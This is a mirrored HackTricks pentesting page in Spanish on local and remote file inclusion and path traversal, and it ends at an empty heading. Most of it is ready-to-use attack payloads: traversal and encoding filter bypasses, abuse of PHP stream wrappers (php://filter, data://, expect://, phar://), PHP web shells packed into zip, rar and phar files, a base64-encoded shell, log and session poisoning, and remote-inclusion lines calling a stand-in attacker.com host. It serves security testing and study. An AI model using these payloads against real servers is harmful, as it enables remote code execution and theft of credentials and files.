mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-26 22:52:06 +00:00
626 lines
32 KiB
Markdown
626 lines
32 KiB
Markdown
|
# Inclusión de archivos / Traversal de ruta
|
||
|
|
||
|
<details>
|
||
|
|
||
|
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||
|
|
||
|
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||
|
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||
|
* Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
|
||
|
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||
|
* **Comparte tus trucos de hacking enviando PR al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||
|
|
||
|
</details>
|
||
|
|
||
|
<figure><img src="../../.gitbook/assets/image (7) (2).png" alt=""><figcaption></figcaption></figure>
|
||
|
|
||
|
[**Sigue a HackenProof**](https://bit.ly/3xrrDrL) **para aprender más sobre errores web3**
|
||
|
|
||
|
🐞 Lee tutoriales de errores web3
|
||
|
|
||
|
🔔 Recibe notificaciones sobre nuevos programas de recompensas por errores
|
||
|
|
||
|
💬 Participa en discusiones comunitarias
|
||
|
|
||
|
## Inclusión de archivos
|
||
|
|
||
|
**Inclusión de archivos remotos (RFI):** El archivo se carga desde un servidor remoto (lo mejor: puedes escribir el código y el servidor lo ejecutará). En PHP esto está **deshabilitado** de forma predeterminada (**allow\_url\_include**).\
|
||
|
**Inclusión de archivos locales (LFI):** El servidor carga un archivo local.
|
||
|
|
||
|
La vulnerabilidad ocurre cuando el usuario puede controlar de alguna manera el archivo que va a ser cargado por el servidor.
|
||
|
|
||
|
Funciones de PHP vulnerables: require, require\_once, include, include\_once
|
||
|
|
||
|
Una herramienta interesante para explotar esta vulnerabilidad: [https://github.com/kurobeats/fimap](https://github.com/kurobeats/fimap)
|
||
|
|
||
|
## Ciegos - Archivos interesantes - LFI2RCE
|
||
|
```python
|
||
|
wfuzz -c -w ./lfi2.txt --hw 0 http://10.10.10.10/nav.php?page=../../../../../../../FUZZ
|
||
|
```
|
||
|
### **Linux**
|
||
|
|
||
|
Mezclando varias listas de LFI de \*nix y añadiendo más rutas, he creado esta:
|
||
|
|
||
|
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_linux.txt" %}
|
||
|
|
||
|
También intenta cambiar `/` por `\`\
|
||
|
También intenta añadir `../../../../../`
|
||
|
|
||
|
Se puede encontrar una lista que utiliza varias técnicas para encontrar el archivo /etc/password (para comprobar si existe la vulnerabilidad) [aquí](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-nix.txt)
|
||
|
|
||
|
### **Windows**
|
||
|
|
||
|
Mezclando varias listas he creado esta:
|
||
|
|
||
|
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_windows.txt" %}
|
||
|
|
||
|
También intenta cambiar `/` por `\`\
|
||
|
También intenta quitar `C:/` y añadir `../../../../../`
|
||
|
|
||
|
Se puede encontrar una lista que utiliza varias técnicas para encontrar el archivo /boot.ini (para comprobar si existe la vulnerabilidad) [aquí](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-win.txt)
|
||
|
|
||
|
### **OS X**
|
||
|
|
||
|
Comprueba la lista de LFI de Linux.
|
||
|
|
||
|
## LFI básico y bypasses
|
||
|
|
||
|
Todos los ejemplos son para Local File Inclusion pero también se pueden aplicar a Remote File Inclusion (page=[http://myserver.com/phpshellcode.txt\\](http://myserver.com/phpshellcode.txt\)/).
|
||
|
```
|
||
|
http://example.com/index.php?page=../../../etc/passwd
|
||
|
```
|
||
|
### Secuencias de recorrido eliminadas de forma no recursiva
|
||
|
```python
|
||
|
http://example.com/index.php?page=....//....//....//etc/passwd
|
||
|
http://example.com/index.php?page=....\/....\/....\/etc/passwd
|
||
|
http://some.domain.com/static/%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/etc/passwd
|
||
|
```
|
||
|
### **Byte nulo (%00)**
|
||
|
|
||
|
Permite evitar la adición de más caracteres al final de la cadena proporcionada (bypass de: $\_GET\['param']."php")
|
||
|
```
|
||
|
http://example.com/index.php?page=../../../etc/passwd%00
|
||
|
```
|
||
|
Esto está **solucionado desde PHP 5.4**
|
||
|
|
||
|
### **Codificación**
|
||
|
|
||
|
Se podrían utilizar codificaciones no estándar como la codificación doble de URL (y otras):
|
||
|
```
|
||
|
http://example.com/index.php?page=..%252f..%252f..%252fetc%252fpasswd
|
||
|
http://example.com/index.php?page=..%c0%af..%c0%af..%c0%afetc%c0%afpasswd
|
||
|
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd
|
||
|
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd%00
|
||
|
```
|
||
|
### Desde una carpeta existente
|
||
|
|
||
|
Tal vez el back-end esté comprobando la ruta de la carpeta:
|
||
|
```python
|
||
|
http://example.com/index.php?page=utils/scripts/../../../../../etc/passwd
|
||
|
```
|
||
|
### Identificación de carpetas en un servidor
|
||
|
|
||
|
Dependiendo del código aplicativo / caracteres permitidos, puede ser posible explorar recursivamente el sistema de archivos descubriendo carpetas y no solo archivos. Para hacerlo:
|
||
|
|
||
|
* identifique la "profundidad" de su directorio actual recuperando con éxito `/etc/passwd` (si está en Linux):
|
||
|
```
|
||
|
http://example.com/index.php?page=../../../etc/passwd # depth of 3
|
||
|
```
|
||
|
* Intenta adivinar el nombre de una carpeta en el directorio actual agregando el nombre de la carpeta (aquí, `private`), y luego regresando a `/etc/passwd`:
|
||
|
```
|
||
|
http://example.com/index.php?page=private/../../../../etc/passwd # we went deeper down one level, so we have to go 3+1=4 levels up to go back to /etc/passwd
|
||
|
```
|
||
|
* Si la aplicación es vulnerable, puede haber dos resultados diferentes para la solicitud:
|
||
|
* Si obtiene un error / sin salida, la carpeta `private` no existe en esta ubicación.
|
||
|
* Si obtiene el contenido de `/etc/passwd`, ha validado que hay una carpeta `private` en su directorio actual.
|
||
|
* Las carpetas que descubra utilizando esta técnica pueden ser probadas para archivos (usando un método clásico de LFI) o para subdirectorios utilizando la misma técnica de forma recursiva.
|
||
|
|
||
|
Es posible adaptar esta técnica para encontrar directorios en cualquier ubicación del sistema de archivos. Por ejemplo, si, bajo la misma hipótesis (directorio actual a una profundidad de 3 del sistema de archivos) desea verificar si `/var/www/` contiene un directorio `private`, use la siguiente carga útil:
|
||
|
```
|
||
|
http://example.com/index.php?page=../../../var/www/private/../../../etc/passwd
|
||
|
```
|
||
|
La siguiente secuencia de comandos permite la generación de payloads utilizando `sed` (1) como entrada para herramientas de fuzzing de URL como `ffuf` (2):
|
||
|
```
|
||
|
$ sed 's_^_../../../var/www/_g' /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-small.txt | sed 's_$_/../../../etc/passwd_g' > payloads.txt
|
||
|
$ ffuf -u http://example.com/index.php?page=FUZZ -w payloads.txt -mr "root"
|
||
|
```
|
||
|
### **Truncamiento de ruta**
|
||
|
|
||
|
Bypass de la adición de más caracteres al final de la cadena proporcionada (bypass de: $\_GET\['param']."php") Ajusta los payloads a tus necesidades en términos de profundidad / ubicación / lista de directorios de entrada.
|
||
|
```
|
||
|
In PHP: /etc/passwd = /etc//passwd = /etc/./passwd = /etc/passwd/ = /etc/passwd/.
|
||
|
Check if last 6 chars are passwd --> passwd/
|
||
|
Check if last 4 chars are ".php" --> shellcode.php/.
|
||
|
```
|
||
|
|
||
|
```
|
||
|
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd..\.\.\.\.\.\.\.\.\.\.\[ADD MORE]\.\.
|
||
|
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[ADD MORE]/././.
|
||
|
|
||
|
#With the next options, by trial and error, you have to discover how many "../" are needed to delete the appended string but not "/etc/passwd" (near 2027)
|
||
|
|
||
|
http://example.com/index.php?page=a/./.[ADD MORE]/etc/passwd
|
||
|
http://example.com/index.php?page=a/../../../../[ADD MORE]../../../../../etc/passwd
|
||
|
```
|
||
|
Siempre intenta **empezar** la ruta **con un directorio falso** (a/).
|
||
|
|
||
|
**Esta vulnerabilidad fue corregida en PHP 5.3.**
|
||
|
|
||
|
### **Trucos para evadir filtros**
|
||
|
```
|
||
|
http://example.com/index.php?page=....//....//etc/passwd
|
||
|
http://example.com/index.php?page=..///////..////..//////etc/passwd
|
||
|
http://example.com/index.php?page=/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../etc/passwd
|
||
|
Maintain the initial path: http://example.com/index.php?page=/var/www/../../etc/passwd
|
||
|
```
|
||
|
## RFI Básico
|
||
|
```python
|
||
|
http://example.com/index.php?page=http://atacker.com/mal.php
|
||
|
http://example.com/index.php?page=\\attacker.com\shared\mal.php
|
||
|
```
|
||
|
## Elemento raíz de Python
|
||
|
|
||
|
En Python, en un código como este:
|
||
|
```python
|
||
|
# file_name is controlled by a user
|
||
|
os.path.join(os.getcwd(), "public", file_name)
|
||
|
```
|
||
|
Si el usuario pasa una **ruta absoluta** a **`file_name`**, la **ruta anterior simplemente se elimina**:
|
||
|
```python
|
||
|
os.path.join(os.getcwd(), "public", "/etc/passwd")
|
||
|
'/etc/passwd'
|
||
|
```
|
||
|
Es el comportamiento previsto según [la documentación](https://docs.python.org/3.10/library/os.path.html#os.path.join):
|
||
|
|
||
|
> Si un componente es una ruta absoluta, todos los componentes anteriores se descartan y la unión continúa desde el componente de ruta absoluta.
|
||
|
|
||
|
## Listado de directorios en Java
|
||
|
|
||
|
Parece que si se tiene una Travesía de Directorios en Java y se **solicita un directorio** en lugar de un archivo, se devuelve un **listado del directorio**. Esto no sucederá en otros lenguajes (que yo sepa).
|
||
|
|
||
|
## Top 25 parámetros
|
||
|
|
||
|
Aquí está la lista de los 25 principales parámetros que podrían ser vulnerables a vulnerabilidades de inclusión de archivos locales (LFI) (de [enlace](https://twitter.com/trbughunters/status/1279768631845494787)):
|
||
|
```
|
||
|
?cat={payload}
|
||
|
?dir={payload}
|
||
|
?action={payload}
|
||
|
?board={payload}
|
||
|
?date={payload}
|
||
|
?detail={payload}
|
||
|
?file={payload}
|
||
|
?download={payload}
|
||
|
?path={payload}
|
||
|
?folder={payload}
|
||
|
?prefix={payload}
|
||
|
?include={payload}
|
||
|
?page={payload}
|
||
|
?inc={payload}
|
||
|
?locate={payload}
|
||
|
?show={payload}
|
||
|
?doc={payload}
|
||
|
?site={payload}
|
||
|
?type={payload}
|
||
|
?view={payload}
|
||
|
?content={payload}
|
||
|
?document={payload}
|
||
|
?layout={payload}
|
||
|
?mod={payload}
|
||
|
?conf={payload}
|
||
|
```
|
||
|
## LFI / RFI usando envoltorios y protocolos PHP
|
||
|
|
||
|
### php://filter
|
||
|
|
||
|
Los filtros de PHP permiten realizar **operaciones básicas de modificación en los datos** antes de que se lean o escriban. Hay 5 categorías de filtros:
|
||
|
|
||
|
* [Filtros de cadena](https://www.php.net/manual/en/filters.string.php):
|
||
|
* `string.rot13`
|
||
|
* `string.toupper`
|
||
|
* `string.tolower`
|
||
|
* `string.strip_tags`: Elimina las etiquetas de los datos (todo lo que está entre los caracteres "<" y ">")
|
||
|
* Tenga en cuenta que este filtro ha desaparecido de las versiones modernas de PHP
|
||
|
* [Filtros de conversión](https://www.php.net/manual/en/filters.convert.php)
|
||
|
* `convert.base64-encode`
|
||
|
* `convert.base64-decode`
|
||
|
* `convert.quoted-printable-encode`
|
||
|
* `convert.quoted-printable-decode`
|
||
|
* `convert.iconv.*` : Transforma a una codificación diferente (`convert.iconv.<input_enc>.<output_enc>`). Para obtener la **lista de todas las codificaciones** admitidas, ejecute en la consola: `iconv -l`
|
||
|
|
||
|
{% hint style="warning" %}
|
||
|
Abusando del filtro de conversión `convert.iconv.*`, se puede **generar texto arbitrario**, lo que podría ser útil para escribir texto arbitrario o hacer que una función como la inclusión procese texto arbitrario. Para obtener más información, consulte [**LFI2RCE via php filters**](lfi2rce-via-php-filters.md).
|
||
|
{% endhint %}
|
||
|
|
||
|
* [Filtros de compresión](https://www.php.net/manual/en/filters.compression.php)
|
||
|
* `zlib.deflate`: Comprime el contenido (útil si se exfiltra mucha información)
|
||
|
* `zlib.inflate`: Descomprime los datos
|
||
|
* [Filtros de cifrado](https://www.php.net/manual/en/filters.encryption.php)
|
||
|
* `mcrypt.*` : Obsoleto
|
||
|
* `mdecrypt.*` : Obsoleto
|
||
|
* Otros filtros
|
||
|
* Ejecutando en php `var_dump(stream_get_filters());` se pueden encontrar un par de **filtros inesperados**:
|
||
|
* `consumed`
|
||
|
* `dechunk`: invierte la codificación HTTP chunked
|
||
|
* `convert.*`
|
||
|
```php
|
||
|
# String Filters
|
||
|
## Chain string.toupper, string.rot13 and string.tolower reading /etc/passwd
|
||
|
echo file_get_contents("php://filter/read=string.toupper|string.rot13|string.tolower/resource=file:///etc/passwd");
|
||
|
## Same chain without the "|" char
|
||
|
echo file_get_contents("php://filter/string.toupper/string.rot13/string.tolower/resource=file:///etc/passwd");
|
||
|
## string.string_tags example
|
||
|
echo file_get_contents("php://filter/string.strip_tags/resource=data://text/plain,<b>Bold</b><?php php code; ?>lalalala");
|
||
|
|
||
|
# Conversion filter
|
||
|
## B64 decode
|
||
|
echo file_get_contents("php://filter/convert.base64-decode/resource=data://plain/text,aGVsbG8=");
|
||
|
## Chain B64 encode and decode
|
||
|
echo file_get_contents("php://filter/convert.base64-encode|convert.base64-decode/resource=file:///etc/passwd");
|
||
|
## convert.quoted-printable-encode example
|
||
|
echo file_get_contents("php://filter/convert.quoted-printable-encode/resource=data://plain/text,£hellooo=");
|
||
|
=C2=A3hellooo=3D
|
||
|
## convert.iconv.utf-8.utf-16le
|
||
|
echo file_get_contents("php://filter/convert.iconv.utf-8.utf-16le/resource=data://plain/text,trololohellooo=");
|
||
|
|
||
|
# Compresion Filter
|
||
|
## Compress + B64
|
||
|
echo file_get_contents("php://filter/zlib.deflate/convert.base64-encode/resource=file:///etc/passwd");
|
||
|
readfile('php://filter/zlib.inflate/resource=test.deflated'); #To decompress the data locally
|
||
|
```
|
||
|
{% hint style="warning" %}
|
||
|
La parte "php://filter" no distingue entre mayúsculas y minúsculas.
|
||
|
{% endhint %}
|
||
|
|
||
|
### php://fd
|
||
|
|
||
|
Este envoltorio permite acceder a los descriptores de archivo que el proceso tiene abierto. Potencialmente útil para filtrar el contenido de archivos abiertos:
|
||
|
```php
|
||
|
echo file_get_contents("php://fd/3");
|
||
|
$myfile = fopen("/etc/passwd", "r");
|
||
|
```
|
||
|
También se pueden usar **php://stdin, php://stdout y php://stderr** para acceder a los **descriptores de archivo 0, 1 y 2** respectivamente (no estoy seguro de cómo esto podría ser útil en un ataque).
|
||
|
|
||
|
### zip:// y rar://
|
||
|
|
||
|
Sube un archivo Zip o Rar con una PHPShell dentro y accede a ella.\
|
||
|
Para poder abusar del protocolo rar, **debe ser activado específicamente**.
|
||
|
```bash
|
||
|
echo "<pre><?php system($_GET['cmd']); ?></pre>" > payload.php;
|
||
|
zip payload.zip payload.php;
|
||
|
mv payload.zip shell.jpg;
|
||
|
rm payload.php
|
||
|
|
||
|
http://example.com/index.php?page=zip://shell.jpg%23payload.php
|
||
|
|
||
|
# To compress with rar
|
||
|
rar a payload.rar payload.php;
|
||
|
mv payload.rar shell.jpg;
|
||
|
rm payload.php
|
||
|
http://example.com/index.php?page=rar://shell.jpg%23payload.php
|
||
|
```
|
||
|
### data://
|
||
|
|
||
|
La técnica de inclusión de archivos `data://` se utiliza para cargar datos directamente en la URL. Esto se puede utilizar para cargar archivos de texto plano, imágenes y otros tipos de archivos.
|
||
|
|
||
|
La sintaxis para cargar un archivo de texto plano es la siguiente:
|
||
|
|
||
|
```
|
||
|
data:text/plain;base64,SGVsbG8sIFdvcmxkIQ%3D%3D
|
||
|
```
|
||
|
|
||
|
En este ejemplo, `SGVsbG8sIFdvcmxkIQ%3D%3D` es el contenido codificado en base64 del archivo de texto plano.
|
||
|
|
||
|
Para cargar una imagen, la sintaxis sería la siguiente:
|
||
|
|
||
|
```
|
||
|
data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAUA
|
||
|
```
|
||
|
|
||
|
En este ejemplo, `iVBORw0KGgoAAAANSUhEUgAAAAUA` es el contenido codificado en base64 de la imagen.
|
||
|
|
||
|
Esta técnica se puede utilizar para cargar archivos de configuración, archivos de contraseñas y otros archivos sensibles que se encuentran en el servidor.
|
||
|
```
|
||
|
http://example.net/?page=data://text/plain,<?php echo base64_encode(file_get_contents("index.php")); ?>
|
||
|
http://example.net/?page=data://text/plain,<?php phpinfo(); ?>
|
||
|
http://example.net/?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
|
||
|
http://example.net/?page=data:text/plain,<?php echo base64_encode(file_get_contents("index.php")); ?>
|
||
|
http://example.net/?page=data:text/plain,<?php phpinfo(); ?>
|
||
|
http://example.net/?page=data:text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
|
||
|
NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"
|
||
|
```
|
||
|
Dato curioso: puedes desencadenar un XSS y evitar el Auditor de Chrome con: `http://ejemplo.com/index.php?page=data:application/x-httpd-php;base64,PHN2ZyBvbmxvYWQ9YWxlcnQoMSk+`
|
||
|
|
||
|
Ten en cuenta que este protocolo está restringido por las configuraciones de php **`allow_url_open`** y **`allow_url_include`**
|
||
|
|
||
|
### expect://
|
||
|
|
||
|
Expect tiene que estar activado. Puedes ejecutar código usando esto.
|
||
|
```
|
||
|
http://example.com/index.php?page=expect://id
|
||
|
http://example.com/index.php?page=expect://ls
|
||
|
```
|
||
|
### input://
|
||
|
|
||
|
Especifica tu carga útil en los parámetros POST.
|
||
|
```
|
||
|
http://example.com/index.php?page=php://input
|
||
|
POST DATA: <?php system('id'); ?>
|
||
|
```
|
||
|
### phar://
|
||
|
|
||
|
Un archivo `.phar` también se puede utilizar para ejecutar código PHP si la web está utilizando alguna función como `include` para cargar el archivo.
|
||
|
|
||
|
{% code title="create_phar.php" %}
|
||
|
```python
|
||
|
<?php
|
||
|
$phar = new Phar('test.phar');
|
||
|
$phar->startBuffering();
|
||
|
$phar->addFromString('test.txt', 'text');
|
||
|
$phar->setStub('<?php __HALT_COMPILER(); system("ls"); ?>');
|
||
|
|
||
|
$phar->stopBuffering();
|
||
|
```
|
||
|
{% endcode %}
|
||
|
|
||
|
Y puedes compilar el `phar` ejecutando la siguiente línea:
|
||
|
```bash
|
||
|
php --define phar.readonly=0 create_path.php
|
||
|
```
|
||
|
Se generará un archivo llamado `test.phar` que se puede utilizar para abusar de la LFI.
|
||
|
|
||
|
Si la LFI solo lee el archivo y no ejecuta el código php dentro de él, por ejemplo, utilizando funciones como _**file\_get\_contents(), fopen(), file() o file\_exists(), md5\_file(), filemtime() o filesize()**_**.** Puede intentar abusar de una **deserialización** que ocurre cuando se **lee** un **archivo** utilizando el protocolo **phar**.\
|
||
|
Para obtener más información, lea el siguiente post:
|
||
|
|
||
|
{% content-ref url="phar-deserialization.md" %}
|
||
|
[phar-deserialization.md](phar-deserialization.md)
|
||
|
{% endcontent-ref %}
|
||
|
|
||
|
### Más protocolos
|
||
|
|
||
|
Compruebe más posibles [**protocolos para incluir aquí**](https://www.php.net/manual/en/wrappers.php)**:**
|
||
|
|
||
|
* [php://memory y php://temp](https://www.php.net/manual/en/wrappers.php.php#wrappers.php.memory) — Escribir en memoria o en un archivo temporal (no estoy seguro de cómo esto puede ser útil en un ataque de inclusión de archivos)
|
||
|
* [file://](https://www.php.net/manual/en/wrappers.file.php) — Acceso al sistema de archivos local
|
||
|
* [http://](https://www.php.net/manual/en/wrappers.http.php) — Acceso a URL HTTP(s)
|
||
|
* [ftp://](https://www.php.net/manual/en/wrappers.ftp.php) — Acceso a URL FTP(s)
|
||
|
* [zlib://](https://www.php.net/manual/en/wrappers.compression.php) — Secuencias de compresión
|
||
|
* [glob://](https://www.php.net/manual/en/wrappers.glob.php) — Buscar nombres de ruta que coincidan con el patrón (no devuelve nada imprimible, por lo que no es realmente útil aquí)
|
||
|
* [ssh2://](https://www.php.net/manual/en/wrappers.ssh2.php) — Secure Shell 2
|
||
|
* [ogg://](https://www.php.net/manual/en/wrappers.audio.php) — Secuencias de audio (no es útil para leer archivos arbitrarios)
|
||
|
|
||
|
## LFI a través de 'assert' de PHP
|
||
|
|
||
|
Si encuentra una LFI difícil que parece filtrar cadenas de travesía como ".." y responder con algo como "Intento de hackeo" o "Buen intento!", una carga útil de inyección de 'assert' puede funcionar.
|
||
|
|
||
|
Una carga útil como esta:
|
||
|
```
|
||
|
' and die(show_source('/etc/passwd')) or '
|
||
|
```
|
||
|
Logrará explotar con éxito el código PHP para un parámetro "file" que se vea así:
|
||
|
```bash
|
||
|
assert("strpos('$file', '..') === false") or die("Detected hacking attempt!");
|
||
|
```
|
||
|
También es posible obtener RCE en una declaración "assert" vulnerable utilizando la función system().
|
||
|
```
|
||
|
' and die(system("whoami")) or '
|
||
|
```
|
||
|
Asegúrate de codificar en URL los payloads antes de enviarlos.
|
||
|
|
||
|
<figure><img src="../../.gitbook/assets/image (7) (2).png" alt=""><figcaption></figcaption></figure>
|
||
|
|
||
|
[**Sigue a HackenProof**](https://bit.ly/3xrrDrL) **para aprender más sobre errores web3**
|
||
|
|
||
|
🐞 Lee tutoriales sobre errores web3
|
||
|
|
||
|
🔔 Recibe notificaciones sobre nuevos programas de recompensas por errores
|
||
|
|
||
|
💬 Participa en discusiones comunitarias
|
||
|
|
||
|
## Traversal de ruta ciega en PHP
|
||
|
|
||
|
{% hint style="warning" %}
|
||
|
Esta técnica es relevante en casos en los que **controlas** la **ruta del archivo** de una **función PHP** que **accederá a un archivo** pero no verás el contenido del archivo (como una simple llamada a **`file()`**) pero el contenido no se muestra.
|
||
|
{% endhint %}
|
||
|
|
||
|
En [**esta increíble publicación**](https://www.synacktiv.com/en/publications/php-filter-chains-file-read-from-error-based-oracle.html) se explica cómo se puede abusar de una traversal de ruta ciega a través de un filtro PHP para **filtrar el contenido de un archivo a través de un oráculo de error**.
|
||
|
|
||
|
En resumen, la técnica utiliza la codificación **"UCS-4LE"** para hacer que el contenido de un archivo sea tan **grande** que la **función PHP que abre** el archivo desencadenará un **error**.
|
||
|
|
||
|
Luego, para filtrar el primer carácter, se utiliza el filtro **`dechunk`** junto con otros como **base64** o **rot13** y finalmente se utilizan los filtros **convert.iconv.UCS-4.UCS-4LE** y **convert.iconv.UTF16.UTF-16BE** para **colocar otros caracteres al principio y filtrarlos**.
|
||
|
|
||
|
**Funciones que podrían ser vulnerables**: `file_get_contents`, `readfile`, `finfo->file`, `getimagesize`, `md5_file`, `sha1_file`, `hash_file`, `file`, `parse_ini_file`, `copy`, `file_put_contents (solo para objetivos de solo lectura con esto)`, `stream_get_contents`, `fgets`, `fread`, `fgetc`, `fgetcsv`, `fpassthru`, `fputs`
|
||
|
|
||
|
¡Para obtener detalles técnicos, consulte la publicación mencionada!
|
||
|
|
||
|
## LFI2RCE
|
||
|
|
||
|
### RFI básico
|
||
|
```python
|
||
|
http://example.com/index.php?page=http://atacker.com/mal.php
|
||
|
http://example.com/index.php?page=\\attacker.com\shared\mal.php
|
||
|
```
|
||
|
### A través del archivo de registro de Apache/Nginx
|
||
|
|
||
|
Si el servidor Apache o Nginx es **vulnerable a LFI** dentro de la función de inclusión, se podría intentar acceder a **`/var/log/apache2/access.log` o `/var/log/nginx/access.log`**, establecer dentro del **agente de usuario** o dentro de un **parámetro GET** una shell de PHP como **`<?php system($_GET['c']); ?>`** e incluir ese archivo.
|
||
|
|
||
|
{% hint style="warning" %}
|
||
|
Tenga en cuenta que **si utiliza comillas dobles** para la shell en lugar de **comillas simples**, las comillas dobles se modificarán por la cadena "_**quote;**_", **PHP lanzará un error** allí y **no se ejecutará nada más**.
|
||
|
|
||
|
Además, asegúrese de **escribir correctamente la carga útil** o PHP dará error cada vez que intente cargar el archivo de registro y no tendrá una segunda oportunidad.
|
||
|
{% endhint %}
|
||
|
|
||
|
Esto también se podría hacer en otros registros, pero **tenga cuidado**, el código dentro de los registros podría estar codificado en URL y esto podría destruir la Shell. El encabezado **autorización "básica"** contiene "usuario:contraseña" en Base64 y se decodifica dentro de los registros. La PHPShell podría ser insertada dentro de este encabezado.\
|
||
|
Otros posibles caminos de registro:
|
||
|
```python
|
||
|
/var/log/apache2/access.log
|
||
|
/var/log/apache/access.log
|
||
|
/var/log/apache2/error.log
|
||
|
/var/log/apache/error.log
|
||
|
/usr/local/apache/log/error_log
|
||
|
/usr/local/apache2/log/error_log
|
||
|
/var/log/nginx/access.log
|
||
|
/var/log/nginx/error.log
|
||
|
/var/log/httpd/error_log
|
||
|
```
|
||
|
Lista de palabras para fuzzing: [https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI](https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI)
|
||
|
|
||
|
### Por correo electrónico
|
||
|
|
||
|
**Envía un correo electrónico** a una cuenta interna (usuario@localhost) que contenga tu carga útil de PHP como `<?php echo system($_REQUEST["cmd"]); ?>` e intenta incluirlo en el correo electrónico del usuario con una ruta como **`/var/mail/<NOMBRE_DE_USUARIO>`** o **`/var/spool/mail/<NOMBRE_DE_USUARIO>`**
|
||
|
|
||
|
### A través de /proc/\*/fd/\*
|
||
|
|
||
|
1. Sube muchas shells (por ejemplo: 100)
|
||
|
2. Incluye [http://ejemplo.com/index.php?page=/proc/$PID/fd/$FD](http://ejemplo.com/index.php?page=/proc/$PID/fd/$FD), con $PID = PID del proceso (puede ser forzado por fuerza bruta) y $FD el descriptor de archivo (también puede ser forzado por fuerza bruta)
|
||
|
|
||
|
### A través de /proc/self/environ
|
||
|
|
||
|
Como un archivo de registro, envía la carga útil en el User-Agent, se reflejará dentro del archivo /proc/self/environ
|
||
|
```
|
||
|
GET vulnerable.php?filename=../../../proc/self/environ HTTP/1.1
|
||
|
User-Agent: <?=phpinfo(); ?>
|
||
|
```
|
||
|
### A través de carga
|
||
|
|
||
|
Si puedes cargar un archivo, simplemente inyecta la carga útil de la shell en él (por ejemplo: `<?php system($_GET['c']); ?>`).
|
||
|
```
|
||
|
http://example.com/index.php?page=path/to/uploaded/file.png
|
||
|
```
|
||
|
Para mantener el archivo legible, es mejor inyectar en los metadatos de las imágenes/doc/pdf.
|
||
|
|
||
|
### A través de la carga de archivos Zip
|
||
|
|
||
|
Cargue un archivo ZIP que contenga una shell PHP comprimida y acceda:
|
||
|
```python
|
||
|
example.com/page.php?file=zip://path/to/zip/hello.zip%23rce.php
|
||
|
```
|
||
|
### A través de sesiones PHP
|
||
|
|
||
|
Verifique si el sitio web utiliza sesiones PHP (PHPSESSID)
|
||
|
```
|
||
|
Set-Cookie: PHPSESSID=i56kgbsq9rm8ndg3qbarhsbm27; path=/
|
||
|
Set-Cookie: user=admin; expires=Mon, 13-Aug-2018 20:21:29 GMT; path=/; httponly
|
||
|
```
|
||
|
En PHP, estas sesiones se almacenan en archivos _/var/lib/php5/sess\\_\[PHPSESSID]\_.
|
||
|
```
|
||
|
/var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm27.
|
||
|
user_ip|s:0:"";loggedin|s:0:"";lang|s:9:"en_us.php";win_lin|s:0:"";user|s:6:"admin";pass|s:6:"admin";
|
||
|
```
|
||
|
Establezca la cookie en `<?php system('cat /etc/passwd');?>`
|
||
|
```
|
||
|
login=1&user=<?php system("cat /etc/passwd");?>&pass=password&lang=en_us.php
|
||
|
```
|
||
|
Utilice LFI para incluir el archivo de sesión PHP.
|
||
|
```
|
||
|
login=1&user=admin&pass=password&lang=/../../../../../../../../../var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm2
|
||
|
```
|
||
|
### A través de ssh
|
||
|
|
||
|
Si ssh está activo, comprueba qué usuario se está utilizando (/proc/self/status y /etc/passwd) e intenta acceder a **\<HOME>/.ssh/id\_rsa**
|
||
|
|
||
|
### A través de los registros de vsftpd
|
||
|
|
||
|
Los registros de este servidor FTP se almacenan en _**/var/log/vsftpd.log.**_ Si tienes una LFI y puedes acceder a un servidor vsftpd expuesto, puedes intentar iniciar sesión estableciendo la carga útil de PHP en el nombre de usuario y luego acceder a los registros usando LFI.
|
||
|
|
||
|
### A través de filtros php (no se necesita archivo)
|
||
|
|
||
|
